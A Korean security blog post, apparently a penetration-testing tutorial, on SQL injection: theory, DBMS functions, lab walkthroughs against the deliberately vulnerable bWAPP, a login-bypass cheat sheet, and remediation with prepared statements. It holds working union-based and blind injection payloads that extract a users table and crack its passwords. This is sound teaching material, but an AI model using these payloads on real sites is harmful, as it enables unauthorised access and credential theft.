모의해킹&웹취약점진단/주•통기반 웹 취약점 점검

05. SQL Injection

sheow13 2023. 10. 19. 13:18
728x90

 개요

- SQL(Structured Query Language)이란 DB를 조작하기 위한 질의어(언어), 데이터베이스를 구축하고 활용하기 위해 사용하는 언어이다.

- 웹 페이지 상에서 표출되어 있는 대부분의 데이터들이 데이터베이스에 저장 하고 있으며 조회, 수정, 삭제 등을 하기 위해서는 SQL 쿼리를 사용

- 사용자의 입력한 값을 서버에서 검증하지 않을 경우, 공격자는 이를 이용하여 정상적인 쿼리를 변조하여 비정상적인 SQL 쿼리를 조합하거나 실행하는 공격으로, DB내 중요 정보 탈취, 삭제, 변조 등의 행위가 가능하다.

- 주요정보통신기반시설 웹 취약점 진단 기준으로 05. SQL 인젝션에 해당

- OWASP TOP 10 2021에서 A03. Injection에 해당

 

사전 지식

 데이터베이스 문법 분류

분류 종류 설명
데이터 정의어(DDL) CREATE, ALTER,
DROP
스키마, 도메인, 테이블, , 인덱스를 정의하거나 변경 또는 삭제할 때 사용하는 언어
주로 데이터베이스 관리자나 데이터베이스 설계자가 사용
데이터 조작어(DML) SELECT, INSERT,
DELETE, UPDATE
데이터베이스에 저장된 데이터를 실질적으로 처리하는데 사용하는 언어
데이터베이스 사용자와 데이터베이스 관리 시스템 간의 인터페이스 제공
데이터 제어어(DCL) GRANT, REVOKE 데이터의 보안, 무결성, 데이터 회복, 병행 수행 제어 등을 정의하는 데 사용하는 언어
데이터베이스 관리자가 데이터 관리를 목적으로 사용

 

□  데이터베이스 기본 용어

용어 설명
테이블(Table) (Row)과 열(Column)로 이루어진 데이터 집합을 의미
(Row) 관계된 데이터의 묶음. 튜플(Tuple) 또는 레코드(Recod)라고 불림
(Column) 가장 작은 단위의 데이터를 의미. 필드(Field) 또는 속성(Attribute)라고도 불림
(Key) 테이블에서 행의 식별자로 이용되는 식별자
스키마(Schema) 데이터베이스를 구성하는 데이터 객체, 속성, 레코드 간의 관계 등
데이터베이스의 골격 구조를 나타내는 일종의 도면

 

□  주요 DBMS별 시스템 테이블 정보

DBMS 테이블
MS-SQL sysdatabases (sys.databases)
sysobjects (sys.objects)
syscolumns (sys.columns)
systypes (sys.types)
sysusers (sys.database_pricipals)
Oracle SYS.ALL_OBJECTS, SYS.DBA_OBJECTS, SYS.USER_OBJECT
SYS.TABLES, SYS.ALL_TABLES, SYS.DBA_TABLES
SYS.USER_TABLES, SYS.COLUMNS
MySQL INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.COLUMNS

 

□  DBMS별 자주 사용하는 내장 함수

DBMS 내장 함수 예시 설명
MS-SQL @@SERVERNAME SELECT @@SERVERNAME; 현재 인스턴스 이름 조회
@@VERSION SELECT @@VERSION; 현재 설치된 SQL 버전, 운영체제 정보 등을 조회
SUBSTRING SELECT SUBSTRING(N’기밀성무결성가용성‘,3,3); 지정한 위치부터 지정한 개수의 문자를 반환
기밀성무결성가용성에서 3번째부터 세글자인 무결성을 전달
LEN SELECT LEN(‘Web Hacking’); 문자열의 길이를 전달
Oracle DBMS_RANDOM.VALUE() SELECT DBMS_RANDOM.VALUE() * 10 FROM DUAL; 0 ~ 10 까지 중 난수 랜덤 생성
LENGTH SELECT LENGTH(‘HACKING’); 문자의 char 길이 조회
LENGTHB SELECT LENGTHB(‘HACKING’); 문자의 바이트 수를 조회
USER SELECT USER.UID; 사용자의 정보를 반환
USERENV SELECT USERENV(‘language’) from SMITH; USERENV(‘parameter’)는 조회하고 싶은 사용자의 환경(parameter)를 전달
MySQL RAND SELECT RAND(); 랜덤한 값을 조회
CHAR_LENGTH SELECT CHAR_LENGTH(‘ABC’); 문자의 개수를 조회
Blind SQL injection에서 주로 사용
LENGTH SELECT LENGTH(‘ABC’) 바이트 수를 조회
Blind SQL injection에서 주로 사용
SLEEP SELECT SLEEP(5); 쿼리 실행을 몇초 멈춤
Time based sql injection에서 많이 사용
USER
CURRENT_USER
SESSION_USER
SELECT USER(), CURRENT_USER(), SESSION_USER(); 사용자 정보를 조회
공통 CONCAT SELECT CONCAT(‘2023’, ‘01’, ‘01’); 문자열 결합
blind sql injection에서 많이 사용
ASCII, CHAR SELECT ASCII(‘W’);
SELECT CHAR(60);
문자열 함수
해커 입장에서 보통 보안 장비 우회하기 위해 많이 사용

 

□  Error Based SQL Injection

- Web 또는 App 환경 등에서 보안 설정이 제대로 되지 않아 요청한 값이 잘못된 형식으로 들어올 경우, 에러 메시지를 노출하여 공격자는 그 정보를 통해 추가 공격을 진행할 수 있다.

예제 설명
싱글쿼터로 인젝션 여부 확인하는데 사용
에러 메시지 내용 확인을 위해 입력을 진행
‘having 1 = 1 -- 첫 번째 테이블명, 컬럼명 확인이 가능
‘and db_name() = 1 -- 현재 데이터베이스의 이름 확인이 가능
‘and 1 = (select @@version) -- 현재 설치된 SQL Server의 시스템 및 빌드 정보 확인이 가능

 

Form Based SQL Injection

- Web 또는 App 환경 등에서 로그인/패스워드 등을 입력하여 접속하는 페이지에서 SQL 쿼리문 조건 값을 항상 참으로 설정 또는 특정 입력 값을 무효화하여 계정 정보를 모르더라도 접속할 수 있는 공격

 

UNION Based SQL Injection

- UNION 구문을 이용하여 공격을 진행하는 것으로, 조회 결과를 출력하는 사용자 화면에 원래 화면 출력을 위한 쿼리와 공격자가 알고자 하는 정보를 조회하는 쿼리를 조인한 결과가 출력되도록 입력 값을 조작하여 DB 정보를 탈취 가능한 공격이다.

예제
admin’ union select 1,2,3,4,5,6 #
admin’ union select version(),2,3,4,5,6 #
admin’ union select schema_name,2,3,4,5,6 from information_schema.schemata #

 

Blind SQL Injection

- 쿼리 실행 결과에 따라 서버의 반응이 다른 것을 이용한 공격으로, 공격자가 알고자 하는 정보의 존재 여부를 확인하기 위해 참인 조건과 거짓인 조건을 번갈아 가면서 입력되도록 입력값을 조작하여 공격자가 필요한 정보를 획득하는 공격이다.

- 주로 Content-based 방식과 Time-based 방식으로 공격을 진행한다.

예제
pageno=1 and substring(user_name(),1,1)=’a’ --
pageno=1 and substring(user_name(),1,1)=’b’ --
pageno=1 and substring(user_name(),1,1)=’a’ waitfor delay ‘0:0:5’ --

 

 실습 환경

- Kali Linux

- Bee box

 

실습1 (난이도 : )

Step 1. SQL Injection(GET/Search)로 이동 후, SQL 쿼리가 입력이 되는지 ‘(싱글쿼터) 입력 시 에러 구문 뜨는 것으로 확인

[싱글쿼터(') 입력하여 에러 메시지를 확인]

 

Step 2. 에러 구문에 MySQL 서버를 사용하고 있는 것으로 확인되어, SQL 쿼리문 조건 값을 항상 참으로 설정하는 Form based SQL 인젝션 시도 시, 정상적으로 공격 성공 확인

검색란에 ' or 1=1 #을 넣을 경우 실제 쿼리로는 select * from movie_table where title='' or 1=1 #';로 입력되어 항상 참이 되는 조건값으로 입력되게 된다.

[항상 참이되는 값을 입력하여 해당 테이블의 정보 모두 가져오는 것을 확인]

 

Step 3. 해당 테이블 컬럼 값을 확인하기 위해 UNION 함수를 사용하여 공격 시, 에러페이지 출력되는 것으로 확인

[테이블의 컬럼 갯수를 확인하기 위하여 union 함수를 통해 확인]

 

Step 4. 에러 메시지를 토대로 컬럼 값을 추가 시, 에러 페이지가 뜨지 않고 정상출력 되는 것으로 확인했을 때, 컬럼 값이 7개로 확인

 출력한 값이 2,3,5,4 인 것으로 확인 했을 때, 해당 컬럼값을 토대로 MySQL 내장함수 등을 통해 원하는 정보 등을 수집할 수 있음을 판단

입력값
‘ union select 1,2,3,4,5,6,7#

[UNION 함수를 통해 컬럼 크기 확인]

 

Step 5. Mysql 내장함수를 통해 원하는 데이터 정보를 추출

입력값
‘union select 1,2,3,4,5,6,7#

[Mysql 내장함수를 통해 버전 및 사용자 정보 등을 수집]

 

입력값
0' union select all 1,table_name,3,4,5,6,7 from information_schema.tables #

 

입력값
0' union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' #

[사용자 정보를 담고 있는 users 테이블에 있는 Attribute(속성) 값을 확인]

 

입력값
0' union select all 1,id,login,password,email,6,7 from information_schema.columns where table_name='users' #

[ID, PW 등의 정보를 Blind SQL Injection을 통해 추출 성공 확인]

 

Step 6. 수집한 패스워드를 txt 파일로 저장 후, 패스워드 크랙 도구인 john-the-ripper를 통해 크랙 시도 시, 패스워드 정상 수집 확인 및 탈취한 패스워드로 로그인 시도 시 정상 접근 확인

[패스워드 크랙 도구인 john을 통해 패스워드 추출 성공 확인]
[크랙 성공한 계정으로 로그인 시도]
[로그인 성공 확인]

 

실습2 (난이도 : )

Step 1. SQL Injection-Blind-Boolean-Based로 이동 후, SQL Injection 가능 여부를 위해 싱글쿼터(‘) 입력 시 오류 메시지 발생 확인

[싱글쿼터(')를 입력하여 정보 획득 시도]

 

Step 2. Form based SQL Injection 형식으로 항상 참이되는 조건을 걸어 공격 시도 시 공격 성공 확인

[항상 참이 되는 값을 입력 시, 성공 메시지 뜨는 것을 확인]

 

Step 3. 조건 값을 거짓인 값으로 공격 시도 시 다른 결과 값을 표출 확인

[항상 거짓이 되는 값을 입력 시, 다른 메시지가 뜨는 것을 확인]

 

Step 4. SQL 쿼리 값에 따라 에러 페이지를 노출 되는 정보를 통해 컬럼 길이 조회 시 7개인 것으로 확인

[참, 거짓이 다른 결과를 보여주는 것을 이용하여 테이블 컬럼 길이를 파악]

 

Step 5. 조건 값이 참, 거짓에 따라 결과값이 다른 것을 이용하여 Blind SQL Injection을 시도하여 DB내 중요 데이터 탈취

입력값
' or 1=1 and length(database())=1#
'or 1=1 and substring(database(),1,1)='a'#
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100 #
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) = 100 #

[내장 함수를 통해 데이터베이스 길이 파악]
[조건이 참,거짓에 따라 결과값이 다른 것을 이용하여 데이터베이스 길이 파악]
[내장함수를 통해 데이터베이스명 파악 시도]
[데이터베이스 첫문자가 'b'임을 확인]
[ASCII값 크기 비교를 통해 범위를 좁힐 수도 있음]
[테이블명을 가져오는 과정으로 이러한 과정을 반복하여 데이터베이스 중요 자료등을 탈취할 수 있음을 확인]

 

SQL Injection Cheat Sheet

예 시
'-'
' '
'&'
'^'
'*'
' or ''-'
' or ''*'
" or ""-"
" or true--
' or 'x'='x
')) or (('x'))=(('x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1/*
admin' #
admin' or '1'='1'--
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin') or ('1'='1
admin') or ('1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" or "1"="1
admin") or ("1"="1

 

 SQL Injection 점검 방법

수동 점검

- 웹사이트의 사용자 인수 값을 입력받은 애플리케이션에 운영체제 명령 실행 Cheat Sheet 입력 후, 에러 페이지 또는 특이사항이 발생하는지 확인

 

자동화 도구를 통한 점검

- 자동화 도구(Ex, Burp Suite Pro, Acunetix )를 사용하여 점검하고자 하는 사이트에 운영체제 명령 실행 취약 여부 점검

- 아래 예시는 Kali linux에서 제공하는 SQLMap 도구를 예시로 들었으며, 자세한 사항은 하기 링크 참고

- https://sheow13.tistory.com/56

 

SQLMap 도구

■ 개요 - SQLMap은 SQL Injection 점검 도구로써, SQL 인젝션을 통해 데이터베이스 정보, 테이블 정보, 사용자 정보, 컬럼 값등을 조회할 수 있으며, SQLMap을 활용하여 웹쉘 등도 업로드 가능하다. - Kali L

sheow13.tistory.com

 

 조치 방법

1. Prepared Statement 객체 사용

- Prepared StatementDBMS에서 반복적으로 실행하는, 동일하거나 비슷한 데이터베이스 쿼리문을 효율적으로 사용하기 위한 기능으로, 외부로부터 입력되는 값(변경되는 값)을 제외한 쿼리 부분을 사전에 컴파일함으로써, 사용자가 웹 어플리케이션에서 요청한 쿼리 값을 그대로 전달하는 방식이 아닌 파라미터화하여 악의적인 쿼리 변조가 되지 않도록 설정

더보기

String sql = “select * from USER where id = ?”;
presmt = conn.prepareStatement(sql);
presmt.setString(1, request.getParameter(“ID”));
presmt.executeQuery();

[Prepared Statement 객체 사용 예시]

 

2. 데이터베이스와 연동되는 페이지의 입력 값에 대한 특수문자 및 SQL 예약어 필터링 적용

- request로 입력 값을 가져오는 경우 입력 값에서 특수문자를 제거하여 바인딩하는 소스 삽입이 필요하며, replaceAll() 메소드를 사용하여 구현

[특수문자를 일반문자로 치환 예시]

 

'모의해킹&웹취약점진단 > 주•통기반 웹 취약점 점검' 카테고리의 다른 글

09. 정보 누출  (2) 2023.12.01
07. XPath 인젝션  (0) 2023.10.19
01. buffer overflow 취약점  (0) 2023.10.12
06. SSI 인젝션  (0) 2023.09.19
04. 운영체제 명령 실행 취약점  (0) 2023.09.19